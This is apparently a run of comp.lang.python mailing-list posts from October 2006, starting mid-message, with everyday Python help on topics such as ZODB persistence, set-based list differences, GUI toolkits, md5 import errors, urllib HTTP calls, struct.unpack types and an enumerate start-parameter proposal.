round(clock()-t, 2), "\n" > > main() On my Python2.4 for Windows, they are often still neck-and-neck for len(good) = 26. set's disadvantage of having to be constructed is heavily amortized over 100,000 membership tests. Without knowing the usage pattern, it'd be hard to choose between them. -- Neil Cerutti From durumdara at gmail.com Tue Oct 3 07:56:36 2006 From: durumdara at gmail.com (durumdara) Date: Tue, 03 Oct 2006 13:56:36 +0200 Subject: Best way to handle large lists? In-Reply-To: References: Message-ID: <45224FF4.6040406@gmail.com> Chaz Ginger ?rta: > I have a system that has a few lists that are very large (thousands or > tens of thousands of entries) and some that are rather small. Many times > I have to produce the difference between a large list and a small one, > without destroying the integrity of either list. I was wondering if > anyone has any recommendations on how to do this and keep performance > high? Is there a better way than > > [ i for i in bigList if i not in smallList ] > > Thanks. > Chaz > Hi ! If you have big list, you can use dbm like databases. They are very quick. BSDDB, flashdb, etc. See SleepyCat, or see python help. In is very slow in large datasets, but bsddb is use hash values, so it is very quick. The SleepyCat database have many extras, you can set the cache size and many other parameters. Or if you don't like dbm style databases, you can use SQLite. Also quick, you can use SQL commands. A little slower than bsddb, but it is like SQL server. You can improve the speed with special parameters. dd From XX.XmcX at XX.XmclaveauX.com Wed Oct 18 01:17:34 2006 From: XX.XmcX at XX.XmclaveauX.com (MC) Date: Wed, 18 Oct 2006 07:17:34 +0200 Subject: Restart a Python COM Server References: <1161137817.550348.157890@m73g2000cwd.googlegroups.com> Message-ID: Hi! It is the normal behavior of COM. Note that, Python being dynamic, you can modify Python script, OF THE INTERIOR, during execution. -- @-salutations Michel Claveau From no-spam at no-spam-no-spam.com Wed Oct 25 20:27:54 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Thu, 26 Oct 2006 02:27:54 +0200 Subject: ZODB for inverted index? In-Reply-To: <1161625143.942199.327550@i3g2000cwc.googlegroups.com> References: <1161625143.942199.327550@i3g2000cwc.googlegroups.com> Message-ID: vd12005 at yahoo.fr wrote: > Hello, > > While playing to write an inverted index (see: > http://en.wikipedia.org/wiki/Inverted_index), i run out of memory with > a classic dict, (i have thousand of documents and millions of terms, > stemming or other filtering are not considered, i wanted to understand > how to handle GB of text first). I found ZODB and try to use it a bit, > but i think i must be misunderstanding how to use it even after reading > http://www.zope.org/Wikis/ZODB/guide/node3.html... > > i would like to use it once to build my inverted index, save it to disk > via a FileStorage, > > and then reuse this previously created inverted index from the > previously created FileStorage, but it looks like i am unable to > reread/reload it in memory, or i am missing how to do it... > > firstly each time i use the code below, it looks everything is added > another time, is there a way to rather rewrite/replace it? and how am i > suppose to use it after an initial creation? i thought that using the > same FileStorage would reload my object inside dbroot, but it doesn't. > i was also interested by the cache mecanisms, are they transparent? > > or maybe do you know a good tutorial to understand ZODB? > > thx for any help, regards. > > here is a sample code : > > import sys > from BTrees.OOBTree import OOBTree > from BTrees.OIBTree import OIBTree > from persistent import Persistent > > class IDF2: > def __init__(self): > self.docs = OIBTree() > self.idfs = OOBTree() > def add(self, term, fromDoc): > self.docs[fromDoc] = self.docs.get(fromDoc, 0) + 1 > if not self.idfs.has_key(term): > self.idfs[term] = OIBTree() > self.idfs[term][fromDoc] = self.idfs[term].get(fromDoc, 0) + 1 > def N(self, term): > "total number of occurrences of 'term'" > return sum(self.idfs[term].values()) > def n(self, term): > "number of documents containing 'term'" > return len(self.idfs[term]) > def ndocs(self): > "number of documents" > return len(self.docs) > def __getitem__(self, key): > return self.idfs[key] > def iterdocs(self): > for doc in self.docs.iterkeys(): > yield doc > def iterterms(self): > for term in self.idfs.iterkeys(): > yield term > > storage = FileStorage.FileStorage("%s.fs" % sys.argv[1]) > db = DB(storage) > conn = db.open() > dbroot = conn.root()# > if not dbroot.has_key('idfs'): > dbroot['idfs'] = IDF2() > idfs = dbroot['idfs'] > > import transaction > for i, line in enumerate(open(sys.argv[1])): > # considering doc is linenumber... > for word in line.split(): > idfs.add(word, i) > # Commit the change > transaction.commit() > > --- > i was expecting : > > storage = FileStorage.FileStorage("%s.fs" % sys.argv[1]) > db = DB(storage) > conn = db.open() > dbroot = conn.root() > print dbroot.has_key('idfs') > > => to return True > you have to have Persistent as base class class IDF2(Persistent): .... and maybe (?) reset idfs.idfs=idfs.idfs or do a idfs._p_changed=1 thing or so - don't remember the latter exactly. but doubt if the memory management of ZODB is intelligent enough (with some extra control?) really improve your task in terms of mem usage (swapping blackout). Other ideas: * This is often the best method to balance mem & disk in extreme index applications: use directly the filesystem (thus (escaped) filenames/subdirs) for your index. You just append your pointers to the files. The OS cache system is already a good careful mem/disc balancer - you can do some extra cache logic in your application. This works best with filesystems who can deal well with small files (but maybe many of your words have long index lists anyway...) ( To maybe reduce number of files/inodes bulk many items into one pickle/shleve/anddbm.. file by using sub hash keys. Example: 1 million words => 10000 files x ~100 sub-entries x 10000 refs. ) * a fast relational/dictionary database (mysql) * Advanced memory mapped file techniques / C-OODBMS ( ObjectStore/PSE ); 64bit OS if > 3GB ( thats the technique telecoms often run their tables fast - but this is maybe too advanced ... ) -robert From Eric_Dexter at msn.com Sat Oct 21 12:46:27 2006 From: Eric_Dexter at msn.com (Eric_Dexter at msn.com) Date: 21 Oct 2006 09:46:27 -0700 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: <1161447222.660369.196370@i3g2000cwc.googlegroups.com> References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> <4538dd3b$0$24774$426a74cc@news.free.fr> <1161440644.300080.198790@b28g2000cwb.googlegroups.com> <453A3440.8090801@kevin-walzer.com> <1161443842.206948.145300@i42g2000cwa.googlegroups.com> <1161447222.660369.196370@i3g2000cwc.googlegroups.com> Message-ID: <1161449187.222891.275240@e3g2000cwe.googlegroups.com> pygtk can be a pain to install and some of the librarys that are built on top of it have copyrights and such. apple for the fonts and there is one for the images. It also can be a pain to install.. It would be nice to see it as a low cost comercial package that is already put together say $20 or so then to try to workout a distribution for some of that. (but then I believe apple should buy borland). I think sci-pi (If I have the name right) would be a very good platform to extend gtk. A) it is well documentated B) they made it as easy as possible to install. pywin might have some acess to graphics but it is windows only and the documentation is sparce. http://www.dexrow.com sturlamolden wrote: > Wektor wrote: > > > wx has also graphical editors like Glade (there is a wxGlade project) > > giving a xml description of a window and its cross platform. > > If you are thinking about XRC, then beware that this XML don't solve > any problems, it just creates another. XRC and libglade do not compare. > libglade makes the GUI development easy and the program code clean and > easy to read. XRC makes the GUI development difficult and the program > code convoluted and difficult to read. > > Also wxGlade is not GLADE. In particular, wxGlade is unstable and tend > to crash or do stupid things. But if your alternative is to hand-code > the wxPython GUI, then wxGLADE is nevertheless the better option. > > > On the other hand its a pity that there isnt much choice in cross > > platform (win mac lin) GUI platforms until now i was a great fan of GTK > > but there isnt a proper port for Mac. > > GTK is being ported to Aqua, but the port it is in its early stages. > > > Its also a pity that no one didnt do something based on OpenGL with > > python (or maybe im wrong) it could be cool and really cross-platform. > > You are wrong. There are PyOpenGL and there is cross-platform GUI and > game development platforms that use it (PyGTK, wxPython, PyGame). There > are also PyOgre, which are more pythonic than using OpenGL directly. From steve at holdenweb.com Mon Oct 23 16:10:05 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 23 Oct 2006 21:10:05 +0100 Subject: python2.5 importerror on md5 In-Reply-To: <1161631938.267555.303790@h48g2000cwc.googlegroups.com> References: <1161630406.102958.22270@i3g2000cwc.googlegroups.com> <1161631938.267555.303790@h48g2000cwc.googlegroups.com> Message-ID: samn wrote: >>I believe the _md5 module (as opposed to the md5 module) is a compiled >>extension. I'm guessing the import succeeds on the machine you used to >>build python. >> >>Try >> >> import _md5 >> print _md5.__file__ >> >>and see if you can find out where it's being loaded from. You'll >>probably find that you also need to tailor the sysprefix parameter, or >>some such. >> > > > You are correct that import md5 works fine on the machine that I > compiled on and only has problems on the other machine. I wasn't able > to import _md5 , even on the machine I compiled on. > Here's what I get on the machine I compiled on: > Python 2.5 (r25:51908, Oct 23 2006, 13:38:11) > [GCC 3.2.3 20030502 (Red Hat Linux 3.2.3-56)] on linux2 > Type "help", "copyright", "credits" or "license" for more information. > >>>>import md5 >>>>import _md5 > > Traceback (most recent call last): > File "", line 1, in > ImportError: No module named _md5 > >>>>import md5 >>>>print md5.__file__ > > /usr/arch/lib/python2.5/md5.py > > sys.prefix is equal on both machines: > >>>>import sys >>>>sys.prefix > > '/usr/arch' > > thanks for any help > sam > Try looking for md5.so - it'll probably be somewhere like /usr/lib/python2.5/lib-dynload. When I said sys-prefix I meant the --exec-prefix configuration option, but actually I'm not sure what determines where shared libraries end up. At least knowing what you are looking for should help. This may affect other modules that use extension support. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From jiang.haiyun at msn.com Sat Oct 28 21:25:22 2006 From: jiang.haiyun at msn.com (haiyun) Date: Sun, 29 Oct 2006 09:25:22 +0800 Subject: http call. In-Reply-To: References: <1161673574.597088.135220@h48g2000cwc.googlegroups.com> Message-ID: Steve Holden ??: > Kirt wrote: >> Hi! >> >> I have a php program (test.php) on a server. eg: >> http://abc.xyz.com/test.php >> >> I need my python scripts to make a http call to these program pass some >> data and get back a secret key from the php program.. >> >> Could anyone help me this, what will i need to make a http call to the >> php application? >> > > import urllib > nf = urllib.urlopen('http://abc.xyz.com/test.php') > data = nf.read() > > Should get you started. Look for the "mechanize" and "ClientForm" (?) > modules to help with the site interactions. It doesn't matter what > language the server uses: you will be talking HTTP to it! > > regards > Steve Use urllib2 library , you can take more control. From http Mon Oct 2 12:06:00 2006 From: http (Paul Rubin) Date: 02 Oct 2006 09:06:00 -0700 Subject: Sort by domain name? References: <7xmz8ekayz.fsf@ruckus.brouhaha.com> Message-ID: <7xodsu8zyv.fsf@ruckus.brouhaha.com> "js " writes: > All I want to do is to sort out a list of url by companyname, > like oreilly, ask, skype, amazon, google and so on, to find out > how many company's url the list contain. Here's a function I used to use. It makes no attempt to be exhaustive, but did a reasonable job on the domains I cared about at the time: def host_domain(hostname): parts = hostname.split('.') if parts[-1] in ('au','uk','nz', 'za', 'jp', 'br'): # www.foobar.co.uk, etc host_len = 3 elif len(parts)==4 and re.match('^[\d.]+$', hostname): host_len = 4 # 2.3.4.5 numeric address else: host_len = 2 d = '.'.join(parts[-(host_len):]) # print 'host_domain:', hostname, '=>', d return d From steve at REMOVE.THIS.cybersource.com.au Wed Oct 18 19:27:49 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Thu, 19 Oct 2006 09:27:49 +1000 Subject: Getting method name from within the class method References: Message-ID: On Wed, 18 Oct 2006 13:59:55 -0700, Mitko Haralanov wrote: > I need to be able to get the name of the currently executed method > within that method. I know that the method object does have the > __name__ attribute but I know know how to access it from withing the > method. Here is a useful (moderately advanced) technique: def factory(arg): def foo(x=arg): print "My name is", foo.__name__ print "My result is", x + 1 return foo class spam: pass for i in range(10): name = "method_%d" % i f = factory(i) f.__name__ = name setattr(spam, name, staticmethod(f)) But: >>> spam.method_0(1) My name is method_0 My result is 2 >>> spam.method_7(9.4) My name is method_7 My result is 10.4 -- Steven. From steve at holdenweb.com Tue Oct 3 02:34:52 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 03 Oct 2006 07:34:52 +0100 Subject: app with standalone gui and web interface In-Reply-To: <5f56302b0610021800v29714effi3f7fb85162a8cc3f@mail.gmail.com> References: <5f56302b0610021800v29714effi3f7fb85162a8cc3f@mail.gmail.com> Message-ID: Daniel Nogradi wrote: > What would the simplest way to make an application that has both a web > interface and runs from behind a web server but also can be used as a > standalone app with a gui? More precisely is it possible to avoid > creating an html/xml/whatever based web interface for the web version > and separately creating a gui (wxpython for example) for the > standalone version and instead create a graphical frontend at once > that can be used for both? No. However, if you have a web interface there's nothing to stop you from providing that for local use as a desktop app as well as remote use: your app then just becomes a web shortcut to a locally-running server. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From nicogrubert at gmail.com Tue Oct 31 10:16:12 2006 From: nicogrubert at gmail.com (Nico Grubert) Date: Tue, 31 Oct 2006 16:16:12 +0100 Subject: PIL on Python 2.4 - ImportError: No module named _imagingft [Solved] In-Reply-To: <454767E4.5070600@gmail.com> References: <454767E4.5070600@gmail.com> Message-ID: <454768BC.2020806@gmail.com> > If I try > > >>> import _imagingft > > I get this error: > ImportError: No module named _imagingft > > Did I miss something? Yes, I did. Somehow, there was no "_imagingft.so" in the PIL directory. From sjmachin at lexicon.net Mon Oct 9 20:51:23 2006 From: sjmachin at lexicon.net (John Machin) Date: 9 Oct 2006 17:51:23 -0700 Subject: People's names (was Re: sqlite3 error) In-Reply-To: <87r6xhhzwg.fsf@pobox.com> References: <1159394058.945948.119410@h48g2000cwc.googlegroups.com> <1159493520.289291.276850@b28g2000cwb.googlegroups.com> <1160266138.599325.270290@e3g2000cwe.googlegroups.com> <87r6xhhzwg.fsf@pobox.com> Message-ID: <1160441483.419976.55050@k70g2000cwa.googlegroups.com> John J. Lee wrote: > "John Machin" writes: > [...] > > This is all a bit OT. Before we close the thread down > > Do you have a warrant for that? I have some signed-but-otherwise-blank warrants, but I'm saving them for other threads :-) > > > , let me leave > > you with one warning: > > Beware of enthusiastic maintenance programmers on a mission to clean up > > the dirty names in your database: > > E.g. (1) "Karim bin Md" may not appreciate getting a letter addressed > > to "Dr Karim Bin" (Md is an abbreviation of Muhammad). > > E.g. (2) Billing job barfs on a customer who has no given names and no > > family name. Inspection reveals that he is over-endowed in the title > > department: "Mr Earl King". > [...] > > Heh. Heh indeed. This behaviour seems to be endemic. Another true story from a 3rd post-cleanup cleanup assignment: Looking at the "country" component of addresses: WALES? Users suggested it be changed to "UK" to conform with ISO standard, UPU conventions, etc. However glancing at other address components, one found intriguing things like "C/o Prince of Hospital". The same "algorithm" had migrated a handful of clients from Coromandel Valley to Oman, and a considerable number from the Melbourne suburb of Chadstone to Chad. > > I guess the people who really know about that kind of thing are the > "record linkage" people (this one is a project worked on by c.l.py's > own Tim Churches, and has produced some Python code): > > http://datamining.anu.edu.au/projects/linkage.html The project is heavily into probabilistic methods. Given enough correctly tagged data to work on, 'Earl" and "King" are much more likely to drop into a name slot than a title slot. Cheers, John From hanumizzle at gmail.com Tue Oct 10 05:46:11 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Tue, 10 Oct 2006 05:46:11 -0400 Subject: People's names (was Re: sqlite3 error) In-Reply-To: References: <1159394058.945948.119410@h48g2000cwc.googlegroups.com> <1159493520.289291.276850@b28g2000cwb.googlegroups.com> Message-ID: <463ff4860610100246q7601bc35y278706c73f7c2e0c@mail.gmail.com> On 10/7/06, Lawrence D'Oliveiro wrote: > Just because most Western designers of databases do it wrong doesn't mean > that a) you should do it wrong, or b) they will continue to do it wrong > into the future, as increasing numbers of those designers come from Asian > and other non-Western backgrounds. Family name comes last in some Asian countries as well. :) It might also be prudent to consider that, e.g,, some Tamils only have a last name for legal purposes and traditionally go by a single name. Lots of possibilities to consider. > I wonder if we need another "middle" field for holding the "bin/binte" part > (could also hold, e.g. "Van" for those names that use this). Also 'da' for Portuguese, which means roughly same as Nederlands/Vlaams. Maybe. As usual: IANAE. > There would also need to be a flag field to indicate the canonical ordering > for writing out the full name: e.g. family-name-first, given-names-first. > Do we need something else for the Vietnamese case? Good question, but IIRC, family name comes first followed by any other given names, just as in a literary index written in English: e.g., Truman, Harry S What if you're Ho Chi Minh? Do you get to list aliases indefinitely? LOL -- Theerasak From fredrik at pythonware.com Wed Oct 4 05:15:03 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 4 Oct 2006 11:15:03 +0200 Subject: Best way to handle large lists? References: <7xodst3337.fsf@ruckus.brouhaha.com> <45227982.4060808@hotmail.com> <45228F2E.4010409@googlemail.com> <452376E3.2080201@googlemail.com> Message-ID: Hari Sekhon wrote: > So are you saying that using a dict means a faster search since you only > need to look up one value? > > I would think that you would have to look through the keys and stop at > the first key that matches since each key has to be uniq, so perhaps if > it is nearer the front of the set of keys then perhaps it would be a > quicker lookup? http://en.wikipedia.org/wiki/Hash_table From steve551979 at hotmail.com Sat Oct 28 17:43:00 2006 From: steve551979 at hotmail.com (steve551979 at hotmail.com) Date: 28 Oct 2006 14:43:00 -0700 Subject: Regular Expression help for parsing html tables Message-ID: <1162071780.766299.274830@e64g2000cwd.googlegroups.com> Hello, I am having some difficulty creating a regular expression for the following string situation in html. I want to find a table that has specific text in it and then extract the html just for that immediate table. the string would look something like this: ...stuff here...
...stuff here...
...stuff here...
... text i'm searching for ...
...stuff here... ...stuff here... ...stuff here... My question: is there a way in RE to say: "when I find this text I'm looking for, search backwards and find the immediate instance of the string "" and then search forwards and find the immediate instance of the string "
". " ? any help is appreciated. Steve. From skip at pobox.com Fri Oct 20 13:36:24 2006 From: skip at pobox.com (skip at pobox.com) Date: Fri, 20 Oct 2006 12:36:24 -0500 Subject: invert or reverse a string... warning this is a rant In-Reply-To: <20061020132555.GA9779@hccnet.nl> References: <7iNZg.117$1n3.3352@news.tufts.edu> <20061020132555.GA9779@hccnet.nl> Message-ID: <17721.2328.438325.427503@montanaro.dyndns.org> egbert> String reversal comes in handy when you do palindromes. Which would by implication make it handy to have in a CS algorithms class and not much else. ;-) Skip From nospam at domain.tld Fri Oct 13 01:14:30 2006 From: nospam at domain.tld (Stephan Kuhagen) Date: Fri, 13 Oct 2006 07:14:30 +0200 Subject: Where is Python in the scheme of things? References: <4524beb9$0$310$426a74cc@news.free.fr> Message-ID: Magnus Lycka wrote: ... > I'd suggest that the OP look at the Wikipedia page in Unix > Philosophy. Read about Gancarz tenets, and replace shell scripts > with Python. (Of course, Python offers more elaborate communication > than pipes.) I'd also the link to Joel Spolsky's Biculturalism > article, and read that. I fully agree with your posting. I (and I think many people) feel the same way about commandline and GUI interfaces. Commandline is the way my brain works... But what I really wanted to say: a very good reading about the different types of thinking and culture when comparing commandline and GUI and other important cultural phenomena using either the "commandline"- or the GUI-philosophy (e.g. DisneyWorld vs. "the real things") is "In the beginning was the commandline" from Neal Stephenson. Everybody, who is interested in the comparison of these different types of thinking and (how Stephenson says) cultures, find a very good essay about it in this small book. Regards Stephan From petra.chong at gmail.com Mon Oct 30 07:47:57 2006 From: petra.chong at gmail.com (Petra Chong) Date: 30 Oct 2006 04:47:57 -0800 Subject: ZODB: single database, multiple connections In-Reply-To: References: <1162207929.618525.169150@h48g2000cwc.googlegroups.com> Message-ID: <1162212476.984173.293380@m7g2000cwm.googlegroups.com> > > If I have a Python shell open and run the above two lines, if I run the > > write process repeatedly, the above "data" object never contains any of > > the newly added items. To pick them up I have to totally recreate the > > "db" object. > > You say that like it's hard to do ;-) > It isn't, but this was the problem: It took 15 seconds to open the database, so I thought that I shouldn't be recreating the database and should be refreshing it. There is nothing in the docs that says that the right behaviour is to recreate it. However, I then put some debug statements around it (I know, I know, I could have used profiling) to find out exactly what was taking 15 seconds. Turned out there was some rubbish in the db that shouldn't have been there. I got rid of it, and now it doesn't take 15 seconds to recreate the database. So- I am now recreating the db, and my problem is solved. > > BTW, a better place to ask about ZODB is the zodb-dev list: > > http://mail.zope.org/mailman/listinfo/zodb-dev > > It's not just for developers /of/ ZODB. Note that you need to > subscribe to it in order to post to it (that's a heavyweight anti-spam > gimmick common to all Zope lists). Thanks for that- it's been hard to track down information on ZODB. Regards, PC From bj_666 at gmx.net Wed Oct 11 17:56:03 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Wed, 11 Oct 2006 23:56:03 +0200 Subject: dicts + amb References: <1160601017.272078.63240@h48g2000cwc.googlegroups.com> Message-ID: In <1160601017.272078.63240 at h48g2000cwc.googlegroups.com>, bearophileHUGS wrote: > I have implemented yet another Odict class: > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/498195 > It's very slow, but it is O(1) for get, set and del too. > > I have added ritervalues(), rkeys(), etc methods because I presume I > can't use the reversed(). So can an __riter__ hook be generally useful? > (I have seen few comments about it in the discussion regarding PEP > 322). I don't know if this is documented somewhere but the `reversed()` function looks for a `__reversed__()` method that returns an iterator. Ciao, Marc 'BlackJack' Rintsch From parautenbach at gmail.com Thu Oct 19 07:01:40 2006 From: parautenbach at gmail.com (Pieter Rautenbach) Date: 19 Oct 2006 04:01:40 -0700 Subject: Type discrepancy using struct.unpack Message-ID: <1161255700.665211.145360@i42g2000cwa.googlegroups.com> Hallo, I have a 64 bit server with CentOS 4.3 installed, running Python. [pymsnt at lutetium pymsnt-0.11.2]$ uname -a Linux lutetium.mxit.co.za 2.6.9-34.ELsmp #1 SMP Thu Mar 9 06:23:23 GMT 2006 x86_64 x86_64 x86_64 GNU/Linux Consider the following two snippets, issuing a struct.unpack(...) using Python 2.3.4 and Python 2.5 respectively. [pymsnt at lutetium pymsnt-0.11.2]$ python Python 2.5 (r25:51908, Oct 17 2006, 10:34:59) [GCC 3.4.5 20051201 (Red Hat 3.4.5-2)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import struct >>> print type(struct.unpack(">L", "xxxx")[0]) >>> [pymsnt at lutetium pymsnt-0.11.2]$ /usr/bin/python2.3 Python 2.3.4 (#1, Feb 17 2005, 21:01:10) [GCC 3.4.3 20041212 (Red Hat 3.4.3-9.EL4)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import struct >>> print type(struct.unpack(">L", "xxxx")[0]) >>> I would expect in both cases. Why is this not so? Regards Pieter Rautenbach From eldiener_no_spam_here at earthlink.net Tue Oct 10 09:11:10 2006 From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam) Date: Tue, 10 Oct 2006 13:11:10 GMT Subject: Python component model In-Reply-To: References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> Message-ID: Fredrik Lundh wrote: > Nick Vatamaniuc wrote: > >> At the same time one could claim that Python already has certain >> policies that makes it seem as if it has a component model. > > every Python object surely qualifies as a component, for any non-myopic > definition of that word, and everything inside a Python program is an > object. so yes, Python has a component model, and Python programmers > are using that model all over the place. > > what might be missing is support for publishing additional metadata > using a standardized vocabulary, and a way to access that data with- > out having to actually create the object. > > implementing this using existing mechanisms is trivial (as the endless > stream of interface/component/adapter/trait implementations have shown > us); coming up with a good-enough-to-be-useful-for-enough-people > vocabulary is a lot harder. There's no doubt that Python's excellent introspection mechanism allows an outside RAD-like tool to inspect the workings of any Python object. But that does not make it a component model in my original use of the term on this thread. A RAD tool needs to know what properties and events within a class can be manipulated visually, and it needs to be able to serialize those properties and events so that they are set at run-time automatically once an object is created. From noamsml at gmail.com Fri Oct 27 17:53:45 2006 From: noamsml at gmail.com (noamsml at gmail.com) Date: 27 Oct 2006 14:53:45 -0700 Subject: What is the cleanest way to for a module to access objects from the script that imports it? Message-ID: <1161986024.956989.218370@i42g2000cwa.googlegroups.com> Hi, I am new to python and am currently writing my first application. One of the problems I quickly ran into, however, is that python's imports are very different from php/C++ includes in the sense that they completely wrap the imported script in a module object. One of the problems with this was that a plugin system that I am making requires use of objects, classes and the such from the original script. Thus, on one hand, I am hesitant to use execfile(), since I *do* want to wrap the plugin up, but on the other hand, I want the plugin to be able to use functions from the original script. Any ideas? Sincerely, Noam Samuel. From jstroud at mbi.ucla.edu Sun Oct 29 06:32:47 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Sun, 29 Oct 2006 11:32:47 GMT Subject: enumerate improvement proposal Message-ID: I think that it would be handy for enumerate to behave as such: def enumerate(itrbl, start=0, step=1): i = start for it in itrbl: yield (i, it) i += step This allows much more flexibility than in the current enumerate, tightens up code in many cases, and seems that it would break no existing code. Yes, I have needed this behavior with enumerate, like tonight and the current example. I put the "step" parameter in for conceptual symmetry with slicing. Here is a case use (or is it use case?): # with the proposed enumerate import operator def in_interval(test, bounds, first=1, reverse=False): op = operator.gt if reverse else operator.lt # python 2.5 bounds = sorted(bounds, reverse=reverse) for i, bound in enumerate(bounds, first): if op(test, bound): return i return i + 1 # with the existing enumerate import operator def in_interval(test, bounds, first=1, reverse=False): op = operator.gt if reverse else operator.lt # python 2.5 bounds = sorted(bounds, reverse=reverse) for i, bound in enumerate(bounds): if op(test, bound): return i + first return i + first + 1 py> # eg ... py> in_interval(8, bounds) 2 py> in_interval(1, bounds) 1 py> in_interval(1, bounds, reverse=True) 5 py> in_interval(8, bounds, reverse=True) 4 py> in_interval(20, bounds, reverse=True) 2 Of course, I haven't used step here. Even in this trivial example the proposed enumerate cleans the code and logic, eliminating a couple of plus signs. For this real-world example, the practical requirement for reversing the bins obfuscates somewhat the de-obfuscation provided by the proposed enumerate. But I think that it might be obvious that the proposed enumerate could help significantly in cases a bit more complicated than this one. Any thoughts? James From Laundro at gmail.com Tue Oct 3 16:16:57 2006 From: Laundro at gmail.com (LaundroMat) Date: 3 Oct 2006 13:16:57 -0700 Subject: What value should be passed to make a function use the default argument value? Message-ID: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> Suppose I have this function: def f(var=1): return var*2 What value do I have to pass to f() if I want it to evaluate var to 1? I know that f() will return 2, but what if I absolutely want to pass a value to f()? "None" doesn't seem to work.. Thanks in advance. From fredrik at pythonware.com Thu Oct 26 08:05:21 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 26 Oct 2006 14:05:21 +0200 Subject: Error to be resolved References: <1161861560.979401.29710@m73g2000cwd.googlegroups.com> <1161863275.157847.317680@b28g2000cwb.googlegroups.com> Message-ID: Arun Nair wrote: > self.suit = suit > self.rank = rank > self.suit = ["None","Clubs","Diamonds","Hearts","Spades"] > self.rank = ["zero", "Ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack", "Queen", > "King"] hint: what happens if two variables have the same name ? can Python magically figure out which one you mean when you try to use one of them, or does something else happen? > File "D:\Charles Sturt University\ could you perhaps ask your advisors to drop by and tell us why he/she expects us to do their job ? From fredrik at pythonware.com Thu Oct 19 05:20:50 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 19 Oct 2006 11:20:50 +0200 Subject: __delitem__ affecting performance In-Reply-To: <40HZg.5440$v43.381@fed1read02> References: <40HZg.5440$v43.381@fed1read02> Message-ID: Karl H. wrote: > Does anybody know why defining __delitem__ is causing the code to run > slower? It is not being called, so I don't see why it would affect > performance. probably because overriding portions of the internal sequence slot API (tp_as_sequence) means that Python needs to do full dispatch for all members of that API, instead of keeping things at the C level. From ziga.seilnacht at gmail.com Tue Oct 31 15:43:58 2006 From: ziga.seilnacht at gmail.com (Ziga Seilnacht) Date: 31 Oct 2006 12:43:58 -0800 Subject: Overriding traceback print_exc()? References: Message-ID: <1162327438.090116.47320@b28g2000cwb.googlegroups.com> Bob Greschke wrote: > I want to cause any traceback output from my applications to show up in one > of my dialog boxes, instead of in the command or terminal window (between > running on Solaris, Linux, OSX and Windows systems there might not be any > command window or terminal window to show the traceback messages in). Do I > want to do something like override the print_exc (or format_exc?) method of > traceback to get the text of the message and call my dialog box routine? If > that is right how do I do that (monkeying with classes is all still a grey > area to me)? You can overwrite the sys.exepthook() with your own function: import sys from traceback import format_exception def my_excepthook(exctype, value, traceback): details = "".join(format_exception(exctype, value, traceback)) # now show the details in your dialog box sys.excepthook = my_excepthook See the documentation for details: http://docs.python.org/lib/module-sys.html#l2h-5125 Hope this helps, Ziga From fredrik at pythonware.com Thu Oct 12 02:43:05 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 12 Oct 2006 08:43:05 +0200 Subject: How to write Smart Python programs? In-Reply-To: <452de0f6$1@news.vo.lu> References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com> <452cae13$0$24783$426a74cc@news.free.fr> <452cbe11$1@news.vo.lu> <452de0f6$1@news.vo.lu> Message-ID: Antoine De Groote wrote: > In the snippet above (taken from the Python doc > http://docs.python.org/lib/built-in-funcs.html), self.__x is > initialized, but never used. I would appreciate any explanation for this. looks like a typo. From steve at holdenweb.com Thu Oct 26 22:00:03 2006 From: steve at holdenweb.com (Steve Holden) Date: Fri, 27 Oct 2006 03:00:03 +0100 Subject: Insert Content of a File into a Variable In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A0615DB@mailbe01.teak.local.net> References: <3ACF03E372996C4EACD542EA8A05E66A0615DB@mailbe01.teak.local.net> Message-ID: Wijaya Edward wrote: > Hi, > > How can we slurp all content of a single file > into one variable? > > I tried this: > > >>>>myfile_content = open('somefile.txt') >>>>print myfile_content, > > > > > > But it doesn't print the content of the file. > Because you haven't read it! data = open('somefile.txt').read() print data regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From petra.chong at gmail.com Mon Oct 30 06:32:09 2006 From: petra.chong at gmail.com (Petra Chong) Date: 30 Oct 2006 03:32:09 -0800 Subject: ZODB: single database, multiple connections Message-ID: <1162207929.618525.169150@h48g2000cwc.googlegroups.com> Hello all I am using Python 2.3 and ZODB (without the rest of Zope) with the following pattern: * One process which writes stuff to a ZODB instance (call it test.db) * Another process which reads stuff from the above ZODB instance test.db What I find is that when the first process writes, the second doesn't pick up the changes. I am sure this must be because I am using ZODB wrongly, but I can't find any examples that show how to use ZODB in this way, and I can't find any API docs for FileStorage, Connection, etc. Reading the source code (from C:\python23\lib\site-packages) has not thrown up anything useful. Here's my test code: A simple database class: class Database(object): PersistentObject = persistent.Persistent PersistentDict = BTrees.OOBTree.OOBTree def __init__(self, filename, read_only = False): self.storage = FileStorage.FileStorage(filename, read_only = read_only) self.db = DB(self.storage) self.connection = self.db.open() 